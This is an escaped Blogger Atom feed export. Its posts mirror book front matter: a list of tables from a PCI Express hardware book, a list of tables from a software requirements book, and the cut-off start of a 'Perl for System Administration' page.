Contents&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;15-1 Maximum Power Consumption for System Board Expansion Slots&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;16-1 Major Software/Hardware Elements Involved In PC PM&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;16-2 System PM States as Defined by the OnNow Design Initiative&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;16-3 OnNow Definition of Device-Level PM States&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;16-4 Concise Description of OnNow Device PM States&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;16-5 Default Device Class PM States&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;16-6 D0 Power Management Policies&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;16-7 D1 Power Management Policies&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;16-8 D2 Power Management Policies&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;16-9 D3hot Power Management Policies&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;16-10 D3cold Power Management Policies&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;16-11 Description of Function State Transitions&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;16-12 Function State Transition Delays&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;16-13 The PMC Register Bit Assignments&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;16-14 PM Control/Status Register (PMCSR) Bit Assignments&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;16-15 Data Register Interpretation&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;16-16 Relationship Between Device and Link Power States&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;16-17 Link Power State Characteristics&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;16-18 Active State Power Management Control Field Definition&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;17-1 Introduction to Major Hot-Plug Software Elements&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;17-2 Major Hot-Plug Hardware Elements&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;17-3 Behavior and Meaning of the Slot Attention Indicator&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;17-4 Behavior and Meaning of the Power Indicator&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;17-5 Slot Capability Register Fields and Descriptions&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;17-6 Slot Control Register Fields and Descriptions&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;17-7 Slot Status Register Fields and Descriptions&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;17-8 The Primitives&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;18-1 PCI Express Connector Pinout&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;18-2 PCI Express Connector Auxiliary Signals&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;18-3 Power Supply Requirements&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;18-4 Add-in Card Power Dissipation&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;18-5 Card Interoperability&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;20-1 Enhanced Configuration Mechanism Memory-Mapped IO Address Range&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;21-1 Capability Register's Device/Port Type Field Encoding&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;22-1 Defined Class Codes&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;22-2 BIST Register Bit Assignment&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;22-3 Currently-Assigned Capability IDs&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;22-4 Command Register&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;22-5 Status Register&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;22-6 Bridge Command Register Bit Assignment&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;22-7 Bridge Control Register Bit Assignment&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;22-8 Bridge Primary Side Status Register&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;22-9 Bridge Secondary Side Status Register&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;22-10 AGP Status Register (Offset CAP_PTR + 4)&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;22-11 AGP Command Register (Offset CAP_PTR + 8)&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;22-12 Basic Format of VPD Data Structure&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;22-13 Format of the Identifier String Tag&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;22-14 Format of the VPD-R Descriptor&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;22-15 General Format of a Read or a Read/Write Keyword Entry&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;22-16 List of Read-Only VPD Keywords&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;22-17 Extended Capability (CP) Keyword Format&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;22-18 Format of Checksum Keyword&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;22-19 Format of the VPD-W Descriptor&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;22-20 List of Read/Write VPD Keywords&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;22-21 Example VPD List&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;22-22 Slot Numbering Register Set&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;22-23 Expansion Slot Register Bit Assignment&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;23-1 PCI Expansion ROM Header Format&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;23-2 PC-Compatible Processor/Architecture Data Area In ROM Header&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;23-3 PCI Expansion ROM Data Structure Format&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;24 - 1 PCI Express Capabilities Register&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;24 - 2 Device Capabilities Register (read-only)&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;24 - 3 Device Control Register (read/write)&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;24 - 4 Device Status Register&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;24 - 5 Link Capabilities Register&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;24 - 6 Link Control Register&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;24 - 7 Link Status Register&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;24 - 8 Slot Capabilities Register (all fields are HWInit)&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;24 - 9 Slot Control Register (all fields are RW)&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;24 - 10 Slot Status Register&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;24 - 11 Root Control Register (all fields are RW)&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;24 - 12 Root Status Register&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;24 - 13 Advanced Error Reporting Capability Register Set&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;24 - 14 Port VC Capability Register 1 (Read-Only)&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;24 - 15 Port VC Capability Register 2 (Read-Only)&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;24 - 16 Port VC Control Register (Read-Write)&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;24 - 17 Port VC Status Register (Read-Only)&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;24 - 18 VC Resource Capability Register&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;24 - 19 VC Resource Control Register (Read-Write)&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;24 - 20 VC Resource Status Register (Read-Only)&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;D-1 Defined Class Codes&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;D-2 Class Code 0 (PCI rev 1.0)&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;D-3 Class Code 1: Mass Storage Controllers&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;D-4 Class Code 2: Network Controllers&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;D-5 Class Code 3: Display Controllers&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;D-6 Class Code 4: Multimedia Devices&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;D-7 Class Code 5: Memory Controllers&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;D-8 Class Code 6: Bridge Devices&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;D-9 Class Code 7: Simple Communications Controllers&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;D-10 Class Code 8: Base System Peripherals&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;D-11 Class Code 9: Input Devices&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;D-12 Class Code A: Docking Stations&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;D-13 Class Code B: Processors&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;D-14 Class Code C: Serial Bus Controllers&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;D-15 Class Code D: Wireless Controllers&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;D-16 Class Code E: Intelligent IO Controllers&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;D-17 Class Code F: Satellite Communications Controllers&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;D-18 Class Code 10h: Encryption/Decryption Controllers&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;D-19 Class Code 11h: Data Acquisition and Signal Processing Controllers&lt;/P&gt;&lt;/P&gt;&lt;P&gt;&lt;/P&gt;&lt;P class="docList"&gt;D-20 Definition of IDE Programmer's Interface Byte Encoding&lt;/P&gt;&lt;/P&gt;&lt;/BLOCKQUOTE&gt;&lt;br /&gt;&lt;ul&gt;&lt;/ul&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;td&gt;&lt;/td&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;td class="tt1"&gt;[ Team LiB ]&lt;/td&gt;&lt;td valign="top" class="tt1" align="right"&gt;&lt;br /&gt;          &lt;br /&gt;          &lt;br /&gt;&lt;/td&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-8969171466055986335?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/8969171466055986335/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/tables.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/8969171466055986335'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/8969171466055986335'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/tables.html' title='Tables'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-5348959431497466249</id><published>2009-11-13T07:50:00.009-08:00</published><updated>2009-11-13T07:50:07.646-08:00</updated><title type='text'>List of Tables</title><content type='html'>&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;td colspan="2" align="left" valign="top"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;td colspan="3" align="center" height="10" valign="top"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;td bgcolor="#000000"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;br /&gt;&lt;tbody&gt;&lt;tr&gt;&lt;br /&gt;&lt;td colspan="3" height="5"&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td class="b24-chunknavigate" align="left" width="25%"&gt;&lt;/td&gt;&lt;br /&gt;&lt;td class="b24-chunknavigate" align="center" width="75%"&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0"&gt;&lt;br /&gt;&lt;tbody&gt;&lt;tr height="11"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td class="b24-chunknavigate" align="right" width="25%"&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td colspan="3" height="5"&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="appendix"&gt;&lt;br /&gt;&lt;br /&gt;&lt;h1 class="appendix-title"&gt;List of Tables&lt;/h1&gt;&lt;br /&gt;&lt;div class="section"&gt;&lt;br /&gt;&lt;div class="section"&gt;&lt;br /&gt;&lt;h2 class="sect2-title"&gt;&lt;br /&gt;Chapter 3: The Business Value of Better Requirements&lt;/h2&gt;&lt;br /&gt;&lt;br /&gt;&lt;div xmlns:dc="dc/elements/1.1/" xmlns:oeb="http://openebook.org/namespaces/oeb-package/1.0/" name="lot"&gt;&lt;br /&gt;&lt;div class="lot-body"&gt;&lt;br /&gt;&lt;dl&gt;&lt;br /&gt;&lt;dt class="lotentry"&gt;&lt;br /&gt;Table 3-1: Relative Cost to Correct a Requirement Defect&lt;/dt&gt;&lt;br /&gt;&lt;dt class="lotentry"&gt;&lt;br /&gt;Table 3-2: Cost and Schedule Overruns on Some NASA Projects&lt;/dt&gt;&lt;br /&gt;&lt;/dl&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="section"&gt;&lt;br /&gt;&lt;h2 class="sect2-title"&gt;&lt;br /&gt;Chapter 4: How Long Do Requirements Take?&lt;/h2&gt;&lt;br /&gt;&lt;br /&gt;&lt;div xmlns:dc="dc/elements/1.1/" xmlns:oeb="http://openebook.org/namespaces/oeb-package/1.0/" name="lot"&gt;&lt;br /&gt;&lt;div class="lot-body"&gt;&lt;br /&gt;&lt;dl&gt;&lt;br /&gt;&lt;dt class="lotentry"&gt;&lt;br /&gt;Table 4-1: Benchmarks for Requirements Work on Large Projects&lt;/dt&gt;&lt;br /&gt;&lt;/dl&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="section"&gt;&lt;br /&gt;&lt;h2 class="sect2-title"&gt;&lt;br /&gt;Chapter 5: Estimating Based on Requirements&lt;/h2&gt;&lt;br /&gt;&lt;br /&gt;&lt;div xmlns:dc="dc/elements/1.1/" xmlns:oeb="http://openebook.org/namespaces/oeb-package/1.0/" name="lot"&gt;&lt;br /&gt;&lt;div class="lot-body"&gt;&lt;br /&gt;&lt;dl&gt;&lt;br /&gt;&lt;dt class="lotentry"&gt;&lt;br /&gt;Table 5-1: Use Case Point Contributions from Actors&lt;/dt&gt;&lt;br /&gt;&lt;dt class="lotentry"&gt;&lt;br /&gt;Table 5-2: Use Case Point Contributions from Use Cases&lt;/dt&gt;&lt;br /&gt;&lt;dt class="lotentry"&gt;&lt;br /&gt;Table 5-3: Unadjusted Use Case Points Example&lt;/dt&gt;&lt;br /&gt;&lt;dt class="lotentry"&gt;&lt;br /&gt;Table 5-4: Technical Factors Affecting Use Case Points&lt;/dt&gt;&lt;br /&gt;&lt;dt class="lotentry"&gt;&lt;br /&gt;Table 5-5: Environmental Factors Affecting Use Case Points&lt;/dt&gt;&lt;br /&gt;&lt;/dl&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="section"&gt;&lt;br /&gt;&lt;h2 class="sect2-title"&gt;&lt;br /&gt;Chapter 11: When Use Cases Aren't Enough&lt;/h2&gt;&lt;br /&gt;&lt;br /&gt;&lt;div xmlns:dc="dc/elements/1.1/" xmlns:oeb="http://openebook.org/namespaces/oeb-package/1.0/" name="lot"&gt;&lt;br /&gt;&lt;div class="lot-body"&gt;&lt;br /&gt;&lt;dl&gt;&lt;br /&gt;&lt;dt class="lotentry"&gt;&lt;br /&gt;Table 11-1: Partial Event-Response Table for a Highway Intersection&lt;/dt&gt;&lt;br /&gt;&lt;/dl&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="section"&gt;&lt;br /&gt;&lt;h2 class="sect2-title"&gt;&lt;br /&gt;Chapter 15: Elements of Requirements Style&lt;/h2&gt;&lt;br /&gt;&lt;br /&gt;&lt;div xmlns:dc="dc/elements/1.1/" xmlns:oeb="http://openebook.org/namespaces/oeb-package/1.0/" name="lot"&gt;&lt;br /&gt;&lt;div class="lot-body"&gt;&lt;br /&gt;&lt;dl&gt;&lt;br /&gt;&lt;dt class="lotentry"&gt;&lt;br /&gt;Table 15-1: Removing Negation from Functional Requirements&lt;/dt&gt;&lt;br /&gt;&lt;/dl&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="section"&gt;&lt;br /&gt;&lt;h2 class="sect2-title"&gt;&lt;br /&gt;Chapter 17: Defining Project Scope&lt;/h2&gt;&lt;br /&gt;&lt;br /&gt;&lt;div xmlns:dc="dc/elements/1.1/" xmlns:oeb="http://openebook.org/namespaces/oeb-package/1.0/" name="lot"&gt;&lt;br /&gt;&lt;div class="lot-body"&gt;&lt;br /&gt;&lt;dl&gt;&lt;br /&gt;&lt;dt class="lotentry"&gt;&lt;br /&gt;Table 17-1: A Sample Feature Roadmap&lt;/dt&gt;&lt;br /&gt;&lt;/dl&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="section"&gt;&lt;br /&gt;&lt;h2 class="sect2-title"&gt;&lt;br /&gt;Chapter 18: The Line in the Sand&lt;/h2&gt;&lt;br /&gt;&lt;br /&gt;&lt;div xmlns:dc="dc/elements/1.1/" xmlns:oeb="http://openebook.org/namespaces/oeb-package/1.0/" name="lot"&gt;&lt;br /&gt;&lt;div class="lot-body"&gt;&lt;br /&gt;&lt;dl&gt;&lt;br /&gt;&lt;dt class="lotentry"&gt;&lt;br /&gt;Table 18-1: Factors to Consider Before Defining a Requirements Baseline&lt;/dt&gt;&lt;br /&gt;&lt;/dl&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="section"&gt;&lt;br /&gt;&lt;h2 class="sect2-title"&gt;&lt;br /&gt;Chapter 19: The Six Blind Men and the Requirements&lt;/h2&gt;&lt;br /&gt;&lt;br /&gt;&lt;div xmlns:dc="dc/elements/1.1/" xmlns:oeb="http://openebook.org/namespaces/oeb-package/1.0/" name="lot"&gt;&lt;br /&gt;&lt;div class="lot-body"&gt;&lt;br /&gt;&lt;dl&gt;&lt;br /&gt;&lt;dt class="lotentry"&gt;&lt;br /&gt;Table 19-1: Some Graphical Analysis Models for Representing Requirements&lt;/dt&gt;&lt;br /&gt;&lt;dt class="lotentry"&gt;&lt;br /&gt;Table 19-2: Choosing the Most Appropriate Requirements Views&lt;/dt&gt;&lt;br /&gt;&lt;/dl&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="section"&gt;&lt;br /&gt;&lt;h2 class="sect2-title"&gt;&lt;br /&gt;Chapter 21: Business Requirements and Business Rules&lt;/h2&gt;&lt;br /&gt;&lt;br /&gt;&lt;div xmlns:dc="dc/elements/1.1/" xmlns:oeb="http://openebook.org/namespaces/oeb-package/1.0/" name="lot"&gt;&lt;br /&gt;&lt;div class="lot-body"&gt;&lt;br /&gt;&lt;dl&gt;&lt;br /&gt;&lt;dt class="lotentry"&gt;&lt;br /&gt;Table 21-1: Some Examples of Financial and Nonfinancial Business Objectives&lt;/dt&gt;&lt;br /&gt;&lt;/dl&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;br /&gt;&lt;tbody&gt;&lt;tr&gt;&lt;br /&gt;&lt;td colspan="3" height="5"&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td class="b24-chunknavigate" align="left" width="25%"&gt;&lt;/td&gt;&lt;br /&gt;&lt;td class="b24-chunknavigate" align="center" width="75%"&gt;&lt;br /&gt;&lt;table border="0" cellpadding="0" cellspacing="0"&gt;&lt;br /&gt;&lt;tbody&gt;&lt;tr height="11"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td class="b24-chunknavigate" align="right" width="25%"&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td colspan="3" height="5"&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;  &lt;td rowspan="2" height="400" width="5"&gt;&lt;/td&gt;&lt;td rowspan="2" height="400" width="5"&gt;&lt;/td&gt;&lt;br /&gt;  &lt;td align="right" bgcolor="#ffffff" valign="top" width="135"&gt;&lt;/td&gt;&lt;br /&gt;&lt;td rowspan="2" height="400" width="5"&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;br /&gt;  &lt;tr&gt;&lt;br /&gt;    &lt;td height="10"&gt;&lt;/td&gt;&lt;td height="10"&gt;&lt;/td&gt;&lt;br /&gt;  &lt;/tr&gt;&lt;br /&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-5348959431497466249?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/5348959431497466249/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/list-of-tables.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/5348959431497466249'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/5348959431497466249'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/list-of-tables.html' title='List of Tables'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-5155132854271980048</id><published>2009-11-13T07:50:00.007-08:00</published><updated>2009-11-13T07:50:06.012-08:00</updated><title type='text'>Stateful and Stateless Data</title><content type='html'>&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;map name="banner-map"&gt;&lt;AREA SHAPE="RECT" COORDS="0,0,466,71" HREF="index-1.htm" tppabs="http://documents.dhs.net.ru/local/OREILLY/books/perl2/sysadmin/index.htm" ALT="Perl for System Administration"&gt;&lt;AREA SHAPE="RECT" COORDS="467,0,514,18" 